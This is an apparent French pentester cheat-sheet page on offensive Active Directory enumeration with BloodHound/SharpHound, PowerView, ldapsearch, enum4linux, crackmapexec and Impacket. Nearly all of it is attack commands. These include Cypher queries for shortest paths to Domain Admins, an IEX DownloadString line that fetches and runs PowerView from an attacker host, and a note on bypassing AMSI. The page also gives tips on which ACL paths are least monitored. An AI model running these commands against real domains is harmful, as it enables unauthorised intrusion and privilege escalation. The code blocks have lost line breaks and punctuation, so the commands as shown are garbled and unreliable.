active-directorybloodhoundpowerview
MDstable
NoteSnippetChecklistPlaybook
Active Directory — Enumération offensive
BloodHound, PowerView, SharpHound — cartographier et attaquer un domaine AD
snippetadvanced 2025-05-13 3 min read
active-directorybloodhoundpowerviewsharphoundADpentestenum
BloodHound / SharpHound
bash
Variables
{{TARGET_DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET_IP}}
# Collecte depuis une machine Windows jointe au domaine# SharpHound.exe (méthode recommandée)SharpHoundexe -c All --zipfilename lootzipSharpHoundexe -c DCOnly # DC seulement, discretSharpHoundexe -c AllGPOLocalGroup --loop --loopduration 020000# BloodHound.py (depuis Linux, sans être joint au domaine)bloodhound-python -d {{TARGET_DOMAIN}} -u {{USER}} -p {{PASSWORD}} -c All -ns {{TARGET_IP}}bloodhound-python -d {{TARGET_DOMAIN}} -u {{USER}} -p {{PASSWORD}} -c All --zip# Lancer BloodHoundneo4j console &bloodhound &# Importer le zip dans l'interface
Requêtes Cypher utiles (onglet Raw Query)
cypher
Variables
{{TARGET_DOMAIN}}
-- Trouver le chemin le plus court vers Domain AdminsMATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@{{TARGET_DOMAIN}}"}))RETURN p-- Tous les utilisateurs avec droits DCSyncMATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain)RETURN p-- Machines où Domain Admins sont loggésMATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@{{TARGET_DOMAIN}}"})RETURN c.name, u.name-- Kerberoastable users avec chemin vers DAMATCH p=shortestPath((u:User {hasspn:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@{{TARGET_DOMAIN}}"}))RETURN p-- ASREPRoastableMATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.description
PowerView (PowerShell)
powershell
Variables
{{LHOST}}
{{USER}}
{{TARGET}}
# Charger (bypass AMSI d'abord si nécessaire)Import-Module .\PowerView.ps1# ouIEX (New-Object Net.WebClient).DownloadString('http://{{LHOST}}/PowerView.ps1')# Info domaineGet-DomainGet-DomainController | select Name, IPAddressGet-DomainTrust# UtilisateursGet-DomainUser -Properties name,samaccountname,description,memberof,pwdlastset,lastlogonGet-DomainUser -SPN # comptes KerberoastableGet-DomainUser -PreauthNotRequired # ASREPRoastable# Groupes privilégiésGet-DomainGroupMember "Domain Admins" -RecurseGet-DomainGroupMember "Enterprise Admins" -RecurseGet-DomainGroupMember "Backup Operators" -Recurse# Délégations Kerberos (critiques)Get-DomainComputer -Unconstrained | select name # délégation non contrainteGet-DomainComputer -TrustedToAuth | select name # délégation contrainteGet-DomainUser -AllowDelegation -AdminCount # utilisateurs avec délégation# ACL exploitablesFind-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq "{{USER}}"}# Sessions actives (où sont loggés les admins)Get-NetLoggedon -ComputerName {{TARGET}}Get-DomainController | ForEach-Object { Get-NetLoggedon -ComputerName $_.Name }Find-DomainUserLocation -UserGroupIdentity "Domain Admins" # cherche les sessions DA# GPOGet-DomainGPO | select displayname, gpcfilesyspathGet-DomainGPOLocalGroup # GPO qui ajoutent des utilisateurs aux admins locaux# Partages réseauFind-DomainShare -CheckShareAccess # partages accessiblesFind-InterestingFile -Path \\{{TARGET}}\share -Include *.txt,*.xml,*.config,*.ps1
Enum4linux / LDAPSearch
bash
Variables
{{TARGET_IP}}
{{USER}}
{{TARGET_DOMAIN}}
{{PASSWORD}}
# enum4linux-ngenum4linux-ng -A -R {{TARGET_IP}} | tee enum4linuxtxt# ldapsearchldapsearch -x -H ldap//{{TARGET_IP}} -D "{{USER}}@{{TARGET_DOMAIN}}" -w {{PASSWORD}}-b "DC=corp,DC=lan" "(objectClass=user)" sAMAccountName description memberOf# Tous les groupesldapsearch -x -H ldap//{{TARGET_IP}} -D "{{USER}}@{{TARGET_DOMAIN}}" -w {{PASSWORD}}-b "DC=corp,DC=lan" "(objectClass=group)" cn member# Comptes avec SPN (Kerberoastable)ldapsearch -x -H ldap//{{TARGET_IP}} -D "{{USER}}@{{TARGET_DOMAIN}}" -w {{PASSWORD}}-b "DC=corp,DC=lan" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
Impacket — Enumération sans être joint au domaine
bash
Variables
{{TARGET_IP}}
{{USER}}
{{PASSWORD}}
{{TARGET_DOMAIN}}
# Info SMBcrackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}}crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --sharescrackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --userscrackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --groupscrackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --loggedon-userscrackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --pass-pol# GetADUsersGetADUserspy -all {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{TARGET_IP}}# Lister les partages et contenusmbclient -L //{{TARGET_IP}} -U {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}smbclient //{{TARGET_IP}}/share -U {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}
💡 Tip —
Après collecte BloodHound, commencer par "Find All Domain Admins" et "Find Shortest Paths to Domain Admins". Les chemins via "GenericAll", "WriteDACL", "WriteOwner" ou "ForceChangePassword" sont souvent les plus exploitables et les moins surveillés.
OPS·BRAIN v1.075 notes · Securitylocal